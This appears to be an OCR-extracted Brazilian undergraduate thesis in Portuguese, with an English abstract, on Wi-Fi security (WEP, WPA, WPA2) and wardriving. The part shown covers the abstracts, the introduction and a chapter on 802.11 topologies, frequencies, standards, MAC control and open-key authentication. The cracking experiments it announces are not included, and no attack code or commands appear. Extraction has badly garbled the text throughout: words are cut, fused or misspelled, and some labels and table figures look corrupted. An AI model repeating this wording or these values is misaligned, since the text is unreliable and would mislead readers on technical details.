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RESUMO

Os avancos tecnolégicos, ao longo do tempo, peamtia integracdo e o
compartilhamento de informacdes através das rédesescente necessidade por mobilidade
e facilidade de utilizacdo trouxe consigo uma rapisseminacdo das redeseless (sem
fio). Esta praticidade no uso de dispositivos m&weia ampla conectividade com outros
dispositivos geram uma grande preocupacdo em ianseguranca dos dados trafegados.
Embora os avancos nesta area sejam expressivostedimaireless ndo € completamente
segura. Protocolos de seguranca e criptografia uséi@aados para impedir que algum
interceptador possa ler o conteddo de pacotesgidfs ou até mesmo acessar a rede.
Atualmente os protocolos WEP, WPA e WPA2 sédo aiilas para tal proposito. Muitos
problemas acerca destes protocolos sdo conhegiddsne disso, ha a falta de conhecimento
por parte de administradores de rede com relaggies, 0 que torna a seguranca em redes
wireless um tanto quanto duvidosa. A facilidade na captatg#isinais de redegireless, em
conjunto com diversos problemas de seguranca ddstaxe um termo conhecido como
Wardriving. Este reline conceitos e técnicas para captagaaco¢es, quebra de protocolos de
criptografia e acesso a redeseless, visando efetuar um mapeamento dos pontos decaaess
fim de demonstrar os perigos existentes nesse dg@aede ou, por exemplo, oferecer
seguranca aquelas que estao vulneraveis. Sendw asgresente trabalho tem como objetivo
descrever os protocolos de seguranca e criptogvdi® e WPA, analisar suas estruturas,
caracteristicas e funcionamento, apresentandolasrabilidades conhecidas até o momento.
Também explanar acerca do protocolo WPA2, o nowrdmaem seguranca de redeisfi,
demonstrando suas caracteristicas e particulasgadando uma relacdo de comparabilidade
entre estes protocolos. Além disso, descreve-serdriving, relatando seus propdsitos,
origens e técnicas utilizadas, ressaltando a quéstil e ética desta pratica. Ainda neste,
realiza-se a execucdo efetivawardriving, a fim de detectar as vulnerabilidades inererges a
redes locais sem fio, criando uma relacdo entrarfegntas ddnardware e software versus
vulnerabilidades. Através de uma metodologia dddinpara tal, realiza-se a varredura e o
mapeamento das redesfi na cidade de Farroupilha, bem como séo realizatéativas de
quebra dos protocolos que efetuam a segurancades, reportando os resultados e analises
pertinentes aos objetivos almejados neste trabalho.

Palavras-chave: Seguranca. CriptografWardriving. i-Fi.



ABSTRACT

During the time, the technological advances halmveld the integration and sharing
information through the nets. The increasing needrfobility and easy of using have brought
a fast dissemination of the wireless nets. Thisibelity on using mobile devices and wide
connectivity with other devices creates a greateamabout the safety of the running data.
Although the advances in this area are expresaiwgreless net is not completely safe. Safety
protocols and cryptography are used to avoid thiaiesinterceptor can read the content of the
running packages or even access the net. Nowadey&/EP, WPA and WPA2 protocols are
used for this purpose. Many problems about thestogols are known and, in addition to
this, there is a lack of knowledge by the net adstiators which makes the safety of the
wireless nets very dubious. The easy on captuhegstgnals of the wireless nets, together
with several safety problems brought a known tesmWardriving. The wardriving joins
concepts and techniques to capture the packagesk bf cryptography protocols and access
to wireless nets, aiming for making a map of theeas points in order to demonstrate the
existing dangers in this kind of net or, for instanto offer safety for those which are
vulnerable. So, the present work has as objeativdescribe the protocols of safety and WEP
and WPA cryptography, to analyze their structuobsyracteristics and working, showing the
known vulnerabilities until today. Also to explaatbout WPA2 protocol, the new standard of
Wi-fi nets safety, demonstrating its charactersstiand particularities and to create a
comparability relation with these protocols. Thedveving is described, relating its purposes,
origins and used techniques, emphasizing the Baghkthical question of this practice. In this
work the wardriving effective execution is donedetect the vulnerability inherent to the
local wireless nets, creating a relation betweendware and software tools and
vulnerabilities. Through a defined methodologysitdone a sweeping and a mapping of the
wi-fi nets in the city of Farroupilha, and it issal done break attempts of the protocols that
save the nets, reporting the relevant results aatysis of the desired objectives in this work.

Key words: Security. Cryptography. Wardriving. Wi-F
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INTRODUCAO

A grande difusdo das redes de computadores e efaentpossibilitaram um avango
sem precedentes no compartihamento de informagdeaplicacbes. As crescentes
necessidades por informacdes em tempo real, comizcte e mobilidade trazem consigo um

grande avanco tecnolégico em sistemas de comupicaga fio.

Redes weless (sem fio), em particular as redés-Fi (Wireless Fidelity), tornam-se,
sem duvida, cada dia mais populares e imprescisgisendo inegavel a conveniéncia de sua
utilizacdo em lugares como aeroportos, hotéis @scaRedeswireless propiciam uma
consideravel praticidade e mobilidade em ambientgporativos e/ou domésticos e pode
mudar a maneira como as pessoas trabalham e peenamma-line quando distantes de sua

base habitual.

Mostra-se pertinente uma observacdo ao conceitedi® sem fio. Confunde-se
computacdo movel com redes sem fio. Apesar de eiggem uma estreita relacdo, ndo séo a
mesma coisa. Computacdo moével diz respeito a aigudeido usuario de continuar conectado
engquanto se movimenta. Ja as redes sem fio tém panmmpal idéia a utilizacdo de outro
meio que ndo seja cabeado como, por exemplo, aeeddio para a transmissao de dados,
nao garantindo assim que os componentes destposdam se mover livremente e continuar

tendo acesso aos dados e recursos remotos.

Segundo um estudo do IDGapresentado em 2006, o mercado de equipamentos de
redes sem fio crescera a uma taxa anual de 41%.0Camgimento e a grande aceitacao das
redes wi-fi, novas preocupacdes em torno da seguranca surgpam parte dos
administradores de rede e, subseglentemente, piar g@s usudrios finais. Aspectos de
seguranca anteriormente néo discutidos se fazesergeequando se trata de redes sem fio.

! International Data Group, disponivel em http://www.idg.com.
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Esse tipo de rede utiliza sinais de radio paraizarabh comunicacdo, e qualquer
pessoa pode interceptar os dados transmitidos da. rBor estas possuirem uma
particularidade na questédo de facilidade de ustagipessoas configuram a sua propria rede
doméstica (ou até empresarial), sem conhecer altgga em si, seus componentes e seus

pontos vulneraveis, criando assim uma rede totdkrasprotegida e suscetivel a ataques.

Diferentemente das redes cabeadas, que conhecemto fisico de conexédo, as
redeswireless transmitem sinais de radio no ar, ou seja, destdrespaco fisico abrangente,
qualquer dispositivo pode receber as informacdestdgidas ou ndo). Normalmente este
espaco excede os limites da empresa/escritérig/tasemitindo assim os dados além do
escopo necessario (ou nao; esse € o fator determida mobilidade).

Wireless provém do inglésire (fio, cabo) eless (sem); ou seja: sem fio. Deste
modo, wireless caracteriza qualquer tipo de conexdo para trasémide informacdo sem a
utilizacdo de fios ou cabos. Red&eless € um conjunto de sistemas conectados através do ar
Dentro deste modelo de comunicag¢do, enquadram-sas véecnologias, comaénfrared
(infravermelho), Bluetooth e Wi-Fi. As redeswi-fi se caracterizam por seu meio de
transmissao ser através de ondas de radio e openaiefaixas de frequéncia de 2,4 GHz ou

5 GHz, dependendo do padrdo em questéao.

Os diferentes tipos de redes de que se tem condetinsdo: Redes Locais sem Fio
ou WLAN (Wireless Local Area Network), Redes Metropolitanas sem Fio ou WMAN
(Wireless Metropolitan Area Network), Redes de Longa Distancia sem Fio ou WWAN
(Wireless Wide Area Network), redes WLL YMreless Local Loop) e Redes Pessoais Sem Fio
ou WPAN (Mreless Personal Area Network). As aplicagOes de rede estdo dividas em dois
tipos: aplicacéesndoor, que se referem ao uso dessas redes em locasltescfcom pouco
alcance) e aplicacOasitdoor, que se referem ao uso dessas redes em locatesaf@ym

longo alcance).

O transporte de dados através de uma redeless envolve trés elementos: a
propriedade fisica de transmissao (sinais de radi@yvermelho, etc.), o formato dos dados e
a estrutura da rede. Cada um destes € distintdepémdente dos outros. Com o intuito de
definir especificacbes e padrdes para as redegpossiem como meio de transmissao as
ondas de radio ou infravermelho, tendo como retéaéas redes locais sem fio (WLANS), o
IEEE (nstitute of Electrical and Electronics Engineers) criou o Wireless Local-Area Networks
Sandard Working Group, que definiu o protocolo IEEE 802.11, lancado e@®71 Os
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padrbes da familia 802.11 envolvem as camadas féside enlace do Modelo OSDen
Systems Interconnection Basic Reference Model) criado pela ISOIl(iternational Organization
for Sandardization). Este padrdo tem como principais componentes we estrutura
(BONILHA, 2003):

« BSS Basic Service Set): corresponde a uma célfide comunicacdo sem fio;

» STA (Sations): sao os clientes que se comunicam dentro da BSS;

* AP (Access Point): é o n6 que coordena a comunicacao entre as géwmtso da
BSS. Serve também para prover a comunicacéo euteswireless e cabeadas;

DS (istribution System): corresponde adackbone da WLAN, realizando a
intercomunicacao dos APs;

e ESS Extended Service Set): é o conjunto de células BSS cujos APs estéo
conectados a uma mesma rede convencional. Nestdg:@es, uma STA pode
movimentar- se de uma célula BSS para outra, perceaclo conectada a rede.

Este processo é denominadoRdaming.

Utilizando portadoras de radio ou infravermelho, \W4 ANs estabelecem a
comunicacao de dados entre os pontos da rede. dmtes sdo modulados na portadora e
entdo transmitidos. Para a extracdo dos dadosceptm sintoniza em uma especifica
freqUéncia e rejeita as outras portadoras de frexge diferentes. Mdltiplas portadoras de

radio podem coexistir em um mesmo meio, sem queint@dira na outra.

Seguindo neste escopo, pode-se constatar doisdgprEacao quanto a seguranca de
redeswi-fi, por parte dos administradores de rede ou poe ghrtusuario que instalara sua
propria rede: a ndo-adocdo da seguranca por réoeidesconhecimento) das implicacdes
que tal possa ocasionar a rede; ou ainda a adizdeguranca por impulso, ou seja, sem
conhecer o0s riscos, a tecnologia empregada e asdasede seguranca recomendadas.
Configuracdo adequada, criptografia, autenticagéi® fe monitoracdo dos acessos da rede

sem fio sdo imprescindiveis para o bom e seguraasede.

Para resolver (ou reduzir) estes problemas de @&egay meios eficazes de
autenticacdo e criptografia da transmissado de dedt#® em constante desenvolvimento.
Como a captura da informacéo pode ser feita ded@ompletamente passiva (basta ter um
meio de receber o sinal), as redesfi oferecem possibilidades de cifragdo de dados
(criptografia). Além disso, tratam da autenticac®s dispositivos e usuarios da rede, bem

% Regido geogréfica coberta pelo sinal de radio.
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como garantem (tecnicamente) a integridade dossdadtegados. Atualmente, os padrdes
desenvolvidos com o propésito de garantir a segaradte uma redevi-fi sdo: Wired
Equivalent Privacy (WEP),Wi-Fi Protected Access (WPA) eW-Fi Protected Access version
2 (WPA2. O uso destes protocolos esta limitado as func@satla dispositivowi-fi

(aplicavel ou nao).

O protocolo inicialmente sugerido para esta tai@fa WEP, cujo objetivo original,
COmo 0 nome sugere, era proporcionar um nivel daraeca em redesi-fi comparavel a
seguranca de uma rede cabeada. A criptografia WHeBtéada a servir trés funcdes: evitar o
acesso ndo autorizado a rede; proteger os dadiogedeeptadores; realizar uma verificacdo
de integridade de cada pacote (ROSS, 2003). Bstd¢otalmente disseminado e presente em

todos os equipamentos conformidados com o pasirdio

Porém, diversas vulnerabilidades foram encontradasorno do desenho do WEP.
As mesmas foram divulgadas em relatérios publicpdogientistas académicos e renomados
profissionais da area. Estes relatérios questioaagficiéncia do WEP em proteger dados.
Segundo Rufino (2005) e Earle (2006), existem @mlls técnicos e administrativos em
relacdo ao protocolo WEP, principalmente pelo fioutilizar uma chave Unica e estatica,

compartilhada por todos os participantes da rede.

Tendo em vista os problemas de segurancga encostredprotocolo WEP, B-Fi
Alliance, responsavel pela padronizacdo e certificacdo desluprs wi-fi, criou um
subconjunto do protocolo 802.11i, denominado WP&eEos avancos foram incorporados a
este protocolo, criando mudancas significativassamestrutura, porém, a maior parte deles,
exige uma inclusédo de novos elementos a infratestrie ainda devem trabalhar combinados
com outros protocolos, como o 802.11x. Embora o Wétha caracteristicas de seguranca
superiores as do WEP, ainda assim apresenta divens@erabilidades ja reportadas e que

devem ser conhecidas para que 0 seu impacto passarsmizado.

“Atua em duas éareas distintas: a primeira, que sihestituir completamente o WEP,
trata da cifracdo dos dados objetivando garantprigacidade das informacfes
trafegadas, e a segunda, foca a autenticagdo dariuus(rea nao coberta
efetivamente pelo padrdo WEP).” (RUFINO, 2005, .37

Com a ratificacdo do protocolo 802.11i, surgiu 0A¥ZPsendo este a promessa para

uma rede sem fio ser considerada realmente segura.

A grande facilidade na captura de sinais de redds trouxe consigo um termo

muito conhecido com@Vardriving. O wardriving pode ser considerado um conjunto de
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métodos que auxiliam na busca por redefi, efetuam a captura e analise de informacdes e
possibilitam o acesso as redes. Esses métodos pseleentendidos como equipamentos
necessarios, conjuntos deftwares, técnicas e, principalmente, o conhecimento nécess
acerca das tecnologias envolvidas no processofivardo efetuar um mapeamento dos
pontos de acesso a fim de demonstrar os perigadentes nesse tipo de rede ou, por

exemplo, oferecer seguranca aquelas que estaaavdie

A realidade sobréVardriving € simples. Profissionais em seguranca, hobbistas e
outros estdo geralmente interessados em proverrmafdes ao publico sobre
vulnerabilidades de seguranca, que estdo preseatesonfiguragcbes de seus pontos de
acesso. A obtencdo, estruturacdo e andlise damafdies, referentes as redes, podem ser
obtidas com grande sucesso quando utilizadeaariving, pela facilidade e mobilidade
propiciadas por esta pratica. Através dos resutguolmdem-se obter estatisticas interessantes,

agregando uma série de informacdes pertinenteslid@ado ambiente.

Porém, a realidade vai além desta percepcdo. ldsuamal-intencionados
interceptam sinais e varrem pacotes em busca @s @dukrtas, chaves de seguranca e seus
apensos, para um posterior ataque a rede (dedole deudados até uma simples conexao com
a internet). Por isso, profissionais em segurar@zerm, sempre que possivel, analisar e
estudar o ambiente destas, bem como conhecer rerapilidades existentes em torno dos
protocolos de seguranca e criptografia, a fim deiear ou reduzir os riscos inerentes a
utilizacdo das redewi-fi, criando, assim, um ambiente seguro e estavetegendo 0s

recursos e dados.

Sendo assim, este trabalho tem como objetivo abaslguestbes técnicas sobre as
redeswi-fi, apresentando os principais componentes destagsecaracteristicas e, também,
descrever os protocolos de seguranca e criptogndiB e WPA, analisando suas estruturas,
caracteristicas e funcionamento e apresentar agrabhlilidades conhecidas até o momento.
Além disso, pretende-se explanar acerca do pradt$tA2, o novo padrdo em segurancga de
redeswi-fi, demonstrando suas caracteristicas e particutlsdacriando uma relacdo de
comparabilidade entre estes protocolos. Ainda ndsta-se o objetivo de descrever o
wardriving, relatando seus propdésitos e suas origens, r@sdala questao legal e ética desta
pratica. Por fim, realiza-se a execucdon@dodriving, baseada em uma metodologia definida
gue envolve vulnerabilidades, processo e ferrarmedéahardware e software, bem como
apresenta os resultados obtidos com a realizagéivaeflowardriving, efetuando uma analise

sobre estes.
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Para alcancar os objetivos propostos, foi realizeda revisao bibliogréafica sobre os
protocolos que se fazem objeto de estudo destes sslronceitos e legalidades da pratica de
wardriving, além de uma pesquisa realizada em monografiasgrdduacdo e em
padronizacdes dos 6rgdos reguladores respons@éis. disso, foram utilizadas inimeras
fontes disponiveis na internet, bem como as doctagées das ferramentas lolrdware e

software utilizadas.

Este trabalho esta dividido em quatro capitulos.pNmeiro capitulo, é realizada
uma conceituacao acerca de redes$ (padrdo 802.11)Yemonstrando suas caracteristicas e
seu funcionamento, abordando também as questdesederanca relativas a estas,
demonstrando os componentes essenciais utilizadosriacdo de ambientes seguros. No
capitulo dois, sdo descritas as caracteristicasungionamento e as vulnerabilidades
conhecidas a respeito dos protocolos de segurang@ptegrafia WEP, WPA e WPA2
(802.11i), apresentando ao final do capitulo umaparacdo entre estes protocolos. No
terceiro capitulo, sdo abordadas as caracterisicaspeito devardriving, demonstrando os
principios e implicacdes legais deste modelo deearaento de pontos de acesso. Por fim, no
capitulo quatro, é realizada a execucdowswdriving, a fim de detectar as principais
vulnerabilidades conhecidas, apresentando uma woletpd funcional, bem como o0s

resultados finais e conclusdes.



1 REDESWI-FI

Wi-Fi, marca registrada pertencenteMreless Ethernet Compatibility Alliance e
abreviatura para\ireless Fidelity, € uma tecnologia de interconexdo entre dispaositsem
fio utilizando o protocolo IEEE 802.11 (e seus palrdes) (WI-FI, 2007).

1.1 Topologia

Em termos organizacionais, o padrdo 802.11 defios dnodos distintos de
operacao: Ad-Hoc e Infra-estrutura (EARLE, 2006):

a) Independent Basic Service Set (IBSS) ou redes Ad-Hoc: sédo redes em que 0s
equipamentos conectam-se diretamente uns aos odéresaneira mais ou menos analoga as
antigas redes coaxiais, onde apenas um cabo gatealivarios equipamentos, sendo que 0s
dispositivos sem fio comunicam-se diretamente esitteem a necessidade de um ponto de
acesso. Esta topologia pode ser apropriada paraepasg redes que nao precisam de
seguranca e nenhum dado sigiloso deve ser trafegady deve-se enfatizar, a auséncia do
ponto de acesso gera varios problemas de segurathgenistracdo e geréncia da rede. A

Figura 1.1 demonstra um cenario de rede Ad-Hoc.

&
&) &

Figura 1.1 - Estrutura de rede Ad-Hoc (IBSS).
Fonte: http://www.babooforum.com.br.



22

b) Infra-Estrutura: O concentrador é o equipameettral de uma rede que se utiliza
dessa topologia. Sendo assim, um ponto Unico deimicagdo (ponto de acesso) € rodeado
de vérios clientes, fazendo com que as configugdéeseguranca se tornem centralizadas.
Com isso ha a possibilidade de controle dos iteate(ticacdo, autorizacao, criptografia, etc.)
em um unico ponto. Outra vantagem deste modelac#itér a integracdo entre redes
cabeadas e redes sem fio.

Basic Service Set (BSS): sdo redes em que um conjunto de dispositiemunica-se

entre si através de um unico ponto de acesso. BdeaBSS € mostrada na Figura 1.2.

2

:
"= Lél

Figura 1.2 - Estrutura de rede BSS.
Fonte: http://www.babooforum.com.br.

Extended Service Set (ESS): s@o duas ou mais reddsfiwnterconectadas entre si.

Uma rede ESS é mostrada na Figura 1.3.

Figura 1.3 - Estrutura de rede ESS.
Fonte: http://www.babooforum.com.br.
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1.2 FreqUéncias

Toda e qualquer comunicac@d-fi € realizada através de espalhamento de espectro
de radiofrequiéncia, tendo como ambiente de pro@agacar. Esse espectro é dividido em
faixas, que sao intervalos reservados para um migigdo tipo de servico. Uma faixa é,
normalmente, subdividida em freqtiéncias menores pammitir a transmissao em paralelo de
sinais diferentes em cada uma delas (RUFINO, 20045 essas freqliéncias menores da-se o
nome de canais. Complementando, é um servico de padto-a-ponto, onde opera um canal
de comunicacdo que transporta informacfes de umsniigsor até um unico receptor. A
principal frequéncia utilizada em redsssfi opera em torno de 2,4GHz (2,4GHz a 2,5GHz no
Brasil), chamada de banda ISMdustrial, Scientific and Medical), a qual foi reservada, na
maior parte do mundo, para servi¢os de radio pafgonto de espalhamento de espectro ndo
licenciado (este ultimo refere-se a questdo dequadquer dispositivo compativel com os
requisitos técnicos pode enviar e receber sinaiadie nessas freqiiéncias, sem a necessidade

de uma licenca de estacdo de radio).

Segundo Earle (2006), as redasfi utilizam trés sistemas de transmissao de radio
de espalhamento de espectro diferentes, denomirfad8S Frequency-Hopping Spread
Soectrum), DSSS Direct Sequence Soread Spectrum) e OFDM Qrthogonal Frequency
Division Multiplexing/Modulation).

1.2.1 Frequency-Hopping Spread Spectrum (FSSS)

Como sugere o nome, a tecnologia FSSS divide ual dm radio em pequenos
canais e efetua saltos de uma freqiiéncia para\wuries vezes por segundo, numa seqiéncia
pseudo-aleatdria. Esta seqiiéncia segue um padneaido pelo transmissor e pelo receptor
que, uma vez sincronizados, estabelecem um cagiabldEste sistema evita a interferéncia
de outros dispositivos, pois utiliza um sinal trzorsador estreito e em constante alteracao.
Porém a velocidade de transmissao € limitada a @sMtois todo o espectro € utilizado (a
frequéncia de 2,4Ghz €, por exemplo, dividida nstados Unidos em setenta e nove canais)
e as mudancas de canais constantes causam greasterat transmissao do sinal. No Quadro

1.1, tem-se as diferentes alocacdes de frequénidiaando essa tecnologia:



Quadro 1.1 Frequency Hopping World Channel Allocation

Pais Canal Frequéncia Tamanho do
(GHz2) canal (MHz)
Estados Unidos 2a79 2.402-2.479 26
Canada 2a79 2.402-2.479 26
Inglaterra 2a’79 2.402-2.479 26
Franca 48 a 82 2.448-2.482 27
Espanha 47 a 73 2.473-2.495 35
Japéao 73 a95 2.473-2.495 23

Fonte: EARLE (2006, p.54).

1.2.2 Direct Sequence Spread Spectrum (DSSS)

24

Utiliza um método conhecido como sequiéncia 11-8agker para espalhar o sinal

de radio através de um canal unico de 22MHz deilargem efetuar alteracéo de frequéncias
(ROSS, 2003). A banda de 2,4GHz é dividida emdadsiis. A taxa de transmissdo nominal é

de 11 Mbps. E suscetivel a ataques diretos em wegéaédncia fixa e a ruidos que ocupem

parte da frequéncia utilizada. O Quadro 1.2 demares diferentes utilizacdes dos canais

pelo mundo:

Quadro 1.2 Direct Sequence Soread Spectrum World Channel Allocation

Frequéncia (GHz) | Canal '?S:ggﬁ;‘ Asia Europa | Japéao Israel

2.412 1 X X X X

2.417 2 X X X X

2.422 3 X X X X X
2.427 4 X X X X X
2.432 5 X X X X X
2.437 6 X X X X X
2.442 7 X X X X X
2.447 8 X X X X X
2.452 9 X X X X X
2.457 10 X X X X

2.462 11 X X X X

2.467 12 X X X

2472 13 X X X

2477 14

Fonte: EARLE (2006, p.55).
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1.2.3 Orthogonal Frequency Division Multiplexing/Malulation (OFDM)

7

Atualmente é o mais eficiente modo de transmispads suas caracteristicas de
modulac&o do sinal e isolamento de interferéncaem também ser aproveitadas. E uma
técnica que transmite sinais multiplos simultaned@meobre um Unico trajeto de transmissao,
utilizando a banda de freqléncia alocada e divaliedta em sub portadoras de baixa
frequéncia. A maioria dos atuais padrdes de reglesfi® utiliza esse método, principalmente
por sua capacidade de identificar interferénciasiidos, permitindo assim a troca ou o
isolamento de uma determinada frequéncia, ou asénmalterar a velocidade de transmissao
(RUFINO, 2005).

1.3 Principais padrdes

As redeswi-fi utilizam como padréo o protocolo IEEE 802.11, geigne uma série
de especificagbes, definindo como deve ser a caacip entre um dispositivo cliente e um
concentrador, ou a comunicacgéo direta entre disposiclientes. Ao longo dos anos, foram
criadas diversas extensfes, onde se incluiu noaescteristicas operacionais e téecnicas.
Segundo Rufino (2005), o padrdao 802.11 conta copriasipais extensdes (ou sub padrdes),

aqui descritas na ordem em que foram especificadas.

1.3.1 Padrdo 802.11b

O primeiro sub padrédo a ser definido, permite 1p8/the velocidade de transmisséo
maxima, mas pode-se comunicar a velocidades mxiash#@pera na frequéncia de 2,4GHz e
usa somente DSSS. Permite, no maximo, 32 cliemdesectados. Foi lancado em 1999 e

definiu padrdoes semelhantes aos da EgHernet.

1.3.2 Padrdo 802.11a

Tentando resolver os problemas existentes nosqmio® anteriores, o 802.11a tem
como principal caracteristica o aumento da vela®dpara um maximo de 54 Mbps (108
Mpbs em modo turbo), mas pode também operar entidalles mais baixas. Outra grande
diferenca estd na operacdo na faixa de frequéneisb@Hz, uma faixa com pouca
interferéncia, mas com alcance reduzido. Ofereg#édéan aumento no numero de clientes

conectados (sessenta e quatro totais) e o aumamtmatte usada no protocolo de criptografia.
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Por fim, adota a modulagdo OFDM. Nao possui corhpiaiade com o 802.11b, pois utiliza
diferentes faixas de frequéncia.

1.3.3 Padrao 802.11g

Resolve o problema de incompatibilidade com o &8%.Jois utiliza a mesma
frequéncia de 2,4GHz, permitindo assim que ambgsadsdes (b e g) coexistam no mesmo
lugar. Além disso, o 802.11g traz consigo Variaaaaristicas positivas de seu antecessor,
como utilizar modulacdo OFDM e velocidade maximabdeMbps (108 Mpbs em modo
turbo).

1.3.4 Padrdo 802.11i

Ratificado em 2004, este padrdo refere-se a mewasisde autenticagdo e
privacidade, podendo ser implementado aos prots@itstentes. E conhecido como WPA2.
Esta incluso neste padrdo o protocolo WPA, quelésienvolvido para prover solucdes de
seguranca mais robustas e eficientes, em relac&éEd Detalhes acerca destes protocolos
serdo abordados nos capitulos subsequentes.

1.3.5 Padrao 802.1x

Como o protocolo WPA sera abordado posteriormentie égrande importancia
realizar uma explanagdo acerca deste protocolomilesio sendo um projeto em especifico
para as redes sem fio, 0 802.1x possui caractaidstjue sdo complementares a essas redes,
pois permite autenticacdo baseada em meétodos folaados, como o RADIUSRémote
Authentication Dial-In User Service). Desta forma, € possivel promover um Unico pade&io
autenticacao, independente da tecnologia, e mantease de usuarios em um repositorio
anico, seja ele um banco de dados convencionalialgaer outro reconhecido pelo servidor
de autenticacdo. O 802.1x pode utilizar diversotodts de autenticacdo no modelo EAP
(Extensible Authentication Protocol), que define formas de autenticacdo baseadas @iniais
e senha, senhas descartaveiselime Password), algoritmos unidirecionaishésh) e outros

gue envolvam algoritmos criptograficos (RUFINO, 200
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1.4 Controles de Red&Vi-Fi

Como ja mencionado anteriormente, o padrdo 802 kks sub padrdes) controla o
modo pelo qual os dados séo transmitidos atravésaghi@da fisica (as ondas de radio) do
modelo OSI, definindo uma camada de enlace dessenmenodelo que manipula a interface

entre a camada fisica e o restante da estrutinedda

A camada de enlace é dividida em outras duas camadanada LLC L(ogical Link
Control), que fornece uma interface para camada supeasiaratielo OSI (camada de rede), e camada
MAC (Media Access Control), que acessa diretamente o meio fisico e cordralansmissao de dados
(EARLE, 2006).

As camadas mais elevadas deste modelo controlaettaspcomo integridade dos
dados, sintaxe, enderecamento e roteamento, etdo S8sim, tem-se uma transparéncia para
as camadas superiores acerca da tecnologia queeesia utilizada na transmisséo dos dados,
seja ela por radio, fibra Gtica ou cabo.

1.4.1 Camada MAC

Esta camada é responsavel por controlar o trafagaqgorre na redei-fi, evitando
as colisdes e os conflitos de dados. Responsaletrpasmisséo e recepc¢édo (delimitagédo) de
quadros e pelo controle de fluxo, estabelece unopoto de comunicacdo entre sistemas
conectados. Esta camada também engloba o enderdgamd\C, o qual € fisico e,
teoricamente, Unico entre os dispositivos exisggensendo utilizado como método de
seguranca nas redesfi. Em caso de existir mais de um ponto de acessede a camada
MAC associa cada cliente com o ponto de acessopopmorciona a melhor qualidade de

sinal.

Utiliza um conjunto de regras denomina@arrier Sense Multiple Access with
Collision Avoidance (CSMA/CA). O esquema de transmissdo CSMA/CA fumaiado
seguinte modo: na primeira transmissao, o transmisscuta o canal para verificar se esta
ocupado. Se nenhuma transmissao estiver sendaddetnicia entdo a primeira transmissao.
Apoés esta ter ocorrido, cada dispositivo € conéigor para transmitir a um determinado
periodo de tempo (EARLE, 2006). Deste modo, naadi&des, ja que cada dispositivo
possui um tempo certo para transmitir. Se a rez ficiosa, o canal para de ser usado e a

rede volta ao estado anterior a primeira transmiddésta forma, o Unico momento em que
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pode haver colisdo nessa arquitetura € na printeargsmissao, quando dois ou mais

dispositivos verificam que o canal esta livre @asraitem ao mesmo tempo.

Porém quando tal fato ocorre, o CSMA/CA instruids os dispositivos conflitantes,
exceto um, para recuar e tentar novamente maiw,tadpermite que o dispositivo
sobrevivente envie o seu pacote de dados. O CSMAIGFsuUI um recurso opcional que
define um ponto de acesso como um ponto coordeneaoaz de conceder a prioridade para

um dispositivo de rede que esteja tentando enaidosicriticos em relacédo ao tempo.

Uma redewi-fi suporta essas e outras fungdes na camada MA@nttodou apenas
tentando) uma série deames de controle, antes de permitir que as camadas et@iadas

enviem os dados.

1.5 Seguranca em Reded/i-Fi

Diferentemente das redes cabeadas, que conhecemt® fisico de conexao dos
dispositivos, as redesi-fi funcionam transmitindo sinais de radio através dooa seja,
dentro do espaco fisico abrangente pelo transmigs@lquer dispositivo pode receber os
pacotes de dados, basta este efetuar a escutegii@ricia utilizada. A questdo da seguranca
se mantém evidentemente necessaria quando seléragaleswi-fi. Seguranca esta que nao
apenas deve ser tratada de forma légica, mas siford® fisica, compreendendo que a
abrangéncia dos sinais de radio ultrapassa, muiass, o espacgo fisico de cobertura

necessario.

E tratando-se de redes sem fio, a0 mesmo tempousmestas tecnologias tém
menos limitacdes geograficas, os riscos associpdesuem muito mais aspectos fisicos
envolvidos que outras tecnologias (RUFINO, 2005%pdctos antes irrelevantes, como
posicionamento de determinados componentes de agmea devem ser cuidadosamente
estudados, sob o risco de comprometer o bom fuaciento da rede e, principalmente,

facilitar o acesso néo autorizado e outros tipostdeues.

Em redeswi-fi, deve sempre haver um equilibrio entre a segurarsgaonveniéncia.
Os beneficios de uma conexénfi (rapidez e facilidade de acesso a uma rede a gartim
dispositivo mével) tém seu custo. Para a maioria dsuarios, este custo ndo excede a

conveniéncia do uso de redesfi (uma simples conex&do com a internet, por exemplo).
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N&o menos importante, a seguranca logica € pameafoental para o bom
funcionamento da rede como um todo, trazendo consita gama de tecnologias e solugdes
para prover um nivel adequado de confiabilidadese§uir, sdo apresentadas algumas

caracteristicas das redasfi em torno da seguranca em nivel légico.

1.5.1 Autenticagao

Quando se conecta a uma reddi, ha a necessidade de se efetuar alguma forma de
autenticacdo. Existem duas formas de autenticagéfortne os padrdes da IEEE (IEEE,
2007): autenticacdo de chave abef@pen Key Authentication) e autenticacdo de chave
compartilhada$hared Key Authentication). Segundo a IEEE (2007), em uma readi pode-
se utilizar uma anica forma de autenticacdo ao mésmpo, sendo que todos os dispositivos

devem utilizar esta mesma forma.

1.5.1.10pen Key Authentication

A autenticacdo de chave aberta (conhecida tambémo d@pen System) foi
desenvolvida com a intencdo de prover uma redetegbe#io requerendo uma chave de
seguranca conhecida. Deste modo, qualquer dispmséguerente sera aceito na rede. E um
sistema de autenticacdo nulo. Especialistas algutamnque ndo haja trafego de informacdes
sigilosas nestas redes, ja que ndo existe qualgoEcao.

A autenticacao é realizada da seguinte forma: prammente, um dispositivo cliente
requisitante envia sinais de sondagem para verdieaxisténcia de autenticadores (pontos de
acesso, por exemplo) ao alcance deste. Os auttmsaque recebem estes sinais enviam
pacotes de resposta, contendo informagfes sobomfgyuracdo da conexado (incluindo o
valor da for¢a do sinal). Entdo o dispositivo regante avalia as resposta e envia um pacote
de requisicdo de autenticacdo para o autenticageregtiver com o melhor sinal. Sendo
assim, o autenticador envia a resposta da auteadticpara o dispositivo requisitante,

iniciando (ou n&o) a comunicagéao efetiva.

Porém, como seguranca se tornou um assunto cresuwame visivel, muitos
fabricantes perceberam a necessidade de se ten dilgo de protecdo. Isto criou um real
problema: propor uma solu¢cdo que melhora a segaranguanto se mantém dentro dos
padrdes de autenticacdo aberta. Estes esforcoszirarnd a idéia de usar autenticacao aberta,

e diferentemente da idéia padréo, esta requerasoade uma chave secreta para efetuar a
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criptografia dos dados. Na Figura 1.4, € demonsttad esquema de autenticacdo de chave
aberta.

@9 Requisitante efetua a sondagem.

4@ Autenticadores respondem a sondagem.

Requisitante verifica as respostas e envia um pacote de
autenticagdo para o melhor ponto de acesso.

<40 Autenticador envia um pacote de resposta a autenticagdo.

Figura 1.4 Open Key Authentication.
Fonte: EARLE (2006, p.186).

Em caso de se utilizar uma chave secreta na awdeatiopen key, o modo de
funcionamento ndo se altera em nenhum momento fekediza fixa-se no fato de que os
dados ja sao enviados criptografados. O CR®&l{c Redundancy Check) é realizado no
recebimento dos dados, verificando assim a consistédestes, ou seja, quando o
